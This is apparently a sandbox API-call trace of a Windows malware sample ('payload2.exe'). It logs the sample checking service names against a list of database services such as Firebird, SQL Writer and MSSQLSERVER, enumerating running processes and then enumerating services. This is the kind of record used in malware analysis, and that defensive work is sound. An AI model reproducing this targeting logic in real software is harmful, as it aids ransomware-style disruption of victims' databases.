	[0203.545] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1
	[0203.545] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1
	[0203.545] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1
	[0203.545] lstrlenW (lpString="NgcSvc") returned 6
	[0203.545] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NgcSvc") returned -1
	[0203.545] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NgcSvc") returned -1
	[0203.545] lstrcmpiW (lpString1="sqlwriter", lpString2="NgcSvc") returned 1
	[0203.545] lstrcmpiW (lpString1="mssqlserver", lpString2="NgcSvc") returned -1
	[0203.545] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NgcSvc") returned 1
	[0203.545] lstrlenW (lpString="NlaSvc") returned 6
	[0203.545] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1
	[0203.643] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1
	[0203.644] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1
	[0203.644] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1
	[0203.644] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1
	[0203.644] lstrlenW (lpString="nsi") returned 3
	[0203.644] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1
	[0203.644] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1
	[0203.644] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1
	[0203.644] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1
	[0203.644] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1
	[0203.644] lstrlenW (lpString="PcaSvc") returned 6
	[0203.644] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1
	[0203.644] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1
	[0203.644] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1
	[0203.644] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1
	[0203.644] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1
	[0203.644] lstrlenW (lpString="PlugPlay") returned 8
	[0203.644] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1
	[0203.644] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1
	[0203.644] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1
	[0203.644] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1
	[0203.644] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1
	[0203.644] lstrlenW (lpString="Power") returned 5
	[0203.644] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1
	[0203.644] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1
	[0203.644] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1
	[0203.644] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1
	[0203.644] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1
	[0203.644] lstrlenW (lpString="ProfSvc") returned 7
	[0203.644] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1
	[0203.644] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1
	[0203.645] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1
	[0203.645] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1
	[0203.645] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1
	[0203.645] lstrlenW (lpString="RpcEptMapper") returned 12
	[0203.645] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1
	[0203.645] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1
	[0203.645] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1
	[0203.645] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1
	[0203.645] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1
	[0203.645] lstrlenW (lpString="RpcSs") returned 5
	[0203.645] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1
	[0203.645] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1
	[0203.645] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1
	[0203.645] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1
	[0203.645] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1
	[0203.645] lstrlenW (lpString="SamSs") returned 5
	[0203.645] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1
	[0203.645] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1
	[0203.645] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1
	[0203.645] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1
	[0203.645] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1
	[0203.645] lstrlenW (lpString="Schedule") returned 8
	[0203.645] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1
	[0203.645] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1
	[0203.645] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1
	[0203.645] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1
	[0203.645] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1
	[0203.645] lstrlenW (lpString="SecurityHealthService") returned 21
	[0203.645] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1
	[0203.645] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1
	[0203.645] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1
	[0203.645] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1
	[0203.646] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1
	[0203.646] lstrlenW (lpString="SENS") returned 4
	[0203.646] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1
	[0203.646] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1
	[0203.646] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1
	[0203.646] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1
	[0203.646] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1
	[0203.646] lstrlenW (lpString="ShellHWDetection") returned 16
	[0203.646] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1
	[0203.646] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1
	[0203.646] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1
	[0203.646] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1
	[0203.646] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1
	[0203.646] lstrlenW (lpString="Spooler") returned 7
	[0203.646] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1
	[0203.646] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1
	[0203.646] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1
	[0203.646] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1
	[0203.646] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1
	[0203.646] lstrlenW (lpString="StateRepository") returned 15
	[0203.646] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1
	[0203.646] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1
	[0203.646] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1
	[0203.646] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1
	[0203.646] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1
	[0203.646] lstrlenW (lpString="SysMain") returned 7
	[0203.646] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1
	[0203.646] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1
	[0203.646] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1
	[0203.646] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1
	[0203.646] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1
	[0203.646] lstrlenW (lpString="SystemEventsBroker") returned 18
	[0203.647] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SystemEventsBroker") returned -1
	[0203.647] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SystemEventsBroker") returned -1
	[0203.647] lstrcmpiW (lpString1="sqlwriter", lpString2="SystemEventsBroker") returned -1
	[0203.647] lstrcmpiW (lpString1="mssqlserver", lpString2="SystemEventsBroker") returned -1
	[0203.647] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SystemEventsBroker") returned -1
	[0203.647] lstrlenW (lpString="Themes") returned 6
	[0203.647] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1
	[0203.647] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1
	[0203.647] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1
	[0203.647] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1
	[0203.647] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1
	[0203.647] lstrlenW (lpString="tiledatamodelsvc") returned 16
	[0203.647] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="tiledatamodelsvc") returned -1
	[0203.647] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="tiledatamodelsvc") returned -1
	[0203.647] lstrcmpiW (lpString1="sqlwriter", lpString2="tiledatamodelsvc") returned -1
	[0203.647] lstrcmpiW (lpString1="mssqlserver", lpString2="tiledatamodelsvc") returned -1
	[0203.647] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x594
	[0203.653] Process32FirstW (in: hSnapshot=0x594, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1
	[0203.653] Process32NextW (in: hSnapshot=0x594, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6e, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1
	[0203.654] lstrlenW (lpString="System") returned 6
	[0203.654] Process32NextW (in: hSnapshot=0x594, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x140, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1
	[0203.655] lstrlenW (lpString="smss.exe") returned 8
	[0203.655] Process32NextW (in: hSnapshot=0x594, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x198, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1
	[0203.656] lstrlenW (lpString="csrss.exe") returned 9
	[0203.656] Process32NextW (in: hSnapshot=0x594, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1
	[0203.656] lstrlenW (lpString="wininit.exe") returned 11
	[0203.656] Process32NextW (in: hSnapshot=0x594, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1e0, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1
	[0203.657] lstrlenW (lpString="csrss.exe") returned 9
	[0203.657] Process32NextW (in: hSnapshot=0x594, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x230, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1e0, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1
	[0203.657] lstrlenW (lpString="winlogon.exe") returned 12
	[0203.657] Process32NextW (in: hSnapshot=0x594, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x24c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1e8, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1
	[0203.658] lstrlenW (lpString="services.exe") returned 12
	[0203.658] Process32NextW (in: hSnapshot=0x594, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1e8, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1
	[0203.658] lstrlenW (lpString="lsass.exe") returned 9
	[0203.659] Process32NextW (in: hSnapshot=0x594, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x230, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1
	[0203.659] lstrlenW (lpString="fontdrvhost.exe") returned 15
	[0203.659] Process32NextW (in: hSnapshot=0x594, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1
	[0203.659] lstrlenW (lpString="fontdrvhost.exe") returned 15
	[0203.660] Process32NextW (in: hSnapshot=0x594, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0203.660] lstrlenW (lpString="svchost.exe") returned 11
	[0203.660] Process32NextW (in: hSnapshot=0x594, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x314, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0203.661] lstrlenW (lpString="svchost.exe") returned 11
	[0203.661] Process32NextW (in: hSnapshot=0x594, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x388, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x230, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1
	[0203.661] lstrlenW (lpString="dwm.exe") returned 7
	[0203.661] Process32NextW (in: hSnapshot=0x594, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0203.662] lstrlenW (lpString="svchost.exe") returned 11
	[0203.662] Process32NextW (in: hSnapshot=0x594, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0203.662] lstrlenW (lpString="svchost.exe") returned 11
	[0203.662] Process32NextW (in: hSnapshot=0x594, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0203.663] lstrlenW (lpString="svchost.exe") returned 11
	[0203.663] Process32NextW (in: hSnapshot=0x594, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x38, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0203.663] lstrlenW (lpString="svchost.exe") returned 11
	[0203.663] Process32NextW (in: hSnapshot=0x594, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x23, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0203.664] lstrlenW (lpString="svchost.exe") returned 11
	[0203.664] Process32NextW (in: hSnapshot=0x594, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x430, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0203.664] lstrlenW (lpString="svchost.exe") returned 11
	[0203.664] Process32NextW (in: hSnapshot=0x594, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x56c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0203.665] lstrlenW (lpString="svchost.exe") returned 11
	[0203.665] Process32NextW (in: hSnapshot=0x594, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0203.665] lstrlenW (lpString="svchost.exe") returned 11
	[0203.665] Process32NextW (in: hSnapshot=0x594, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0203.666] lstrlenW (lpString="svchost.exe") returned 11
	[0203.666] Process32NextW (in: hSnapshot=0x594, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0203.666] lstrlenW (lpString="svchost.exe") returned 11
	[0203.667] Process32NextW (in: hSnapshot=0x594, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x62c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1
	[0203.667] lstrlenW (lpString="spoolsv.exe") returned 11
	[0203.667] Process32NextW (in: hSnapshot=0x594, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x690, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0203.667] lstrlenW (lpString="svchost.exe") returned 11
	[0203.668] Process32NextW (in: hSnapshot=0x594, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x56c, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1
	[0203.668] lstrlenW (lpString="audiodg.exe") returned 11
	[0203.668] Process32NextW (in: hSnapshot=0x594, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x704, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1
	[0203.669] lstrlenW (lpString="sihost.exe") returned 10
	[0203.669] Process32NextW (in: hSnapshot=0x594, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x71c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0203.669] lstrlenW (lpString="svchost.exe") returned 11
	[0203.669] Process32NextW (in: hSnapshot=0x594, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1
	[0203.670] lstrlenW (lpString="taskhostw.exe") returned 13
	[0203.670] Process32NextW (in: hSnapshot=0x594, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x1b0, pcPriClassBase=6, dwFlags=0x0, szExeFile="msoia.exe")) returned 1
	[0203.671] lstrlenW (lpString="msoia.exe") returned 9
	[0203.671] Process32NextW (in: hSnapshot=0x594, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x440, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1
	[0203.671] lstrlenW (lpString="OfficeClickToRun.exe") returned 20
	[0203.671] Process32NextW (in: hSnapshot=0x594, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x598, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1
	[0203.672] lstrlenW (lpString="SecurityHealthService.exe") returned 25
	[0203.672] Process32NextW (in: hSnapshot=0x594, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x648, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1
	[0203.672] lstrlenW (lpString="Memory Compression") returned 18
	[0203.672] Process32NextW (in: hSnapshot=0x594, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x998, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3b, th32ParentProcessID=0x984, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1
	[0203.673] lstrlenW (lpString="explorer.exe") returned 12
	[0203.673] Process32NextW (in: hSnapshot=0x594, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x20, th32ParentProcessID=0x2ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1
	[0203.673] lstrlenW (lpString="SearchUI.exe") returned 12
	[0203.673] Process32NextW (in: hSnapshot=0x594, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbf0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x2ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1
	[0203.674] lstrlenW (lpString="ShellExperienceHost.exe") returned 23
	[0203.674] Process32NextW (in: hSnapshot=0x594, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x2ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1
	[0203.674] lstrlenW (lpString="RuntimeBroker.exe") returned 17
	[0203.674] Process32NextW (in: hSnapshot=0x594, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xccc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x2ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1
	[0203.675] lstrlenW (lpString="WmiPrvSE.exe") returned 12
	[0203.675] Process32NextW (in: hSnapshot=0x594, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd7c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x998, pcPriClassBase=8, dwFlags=0x0, szExeFile="payload2.exe")) returned 1
	[0203.675] lstrlenW (lpString="payload2.exe") returned 12
	[0203.676] Process32NextW (in: hSnapshot=0x594, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf30, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1
	[0203.676] lstrlenW (lpString="dllhost.exe") returned 11
	[0203.676] Process32NextW (in: hSnapshot=0x594, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf54, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0xd7c, pcPriClassBase=8, dwFlags=0x0, szExeFile="payload2.exe")) returned 1
	[0203.676] lstrlenW (lpString="payload2.exe") returned 12
	[0203.677] Process32NextW (in: hSnapshot=0x594, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf54, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0xd7c, pcPriClassBase=8, dwFlags=0x0, szExeFile="payload2.exe")) returned 0
	[0203.677] CloseHandle (hObject=0x594) returned 1
	[0203.677] Sleep (dwMilliseconds=0x1f4) 
	[0204.255] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x668560
	[0204.256] EnumServicesStatusExW (in: hSCManager=0x668560, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x258ff3c, lpServicesReturned=0x258ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x258ff3c, lpServicesReturned=0x258ff54, lpResumeHandle=0x0) returned 0
	[0204.256] GetLastError () returned 0xea
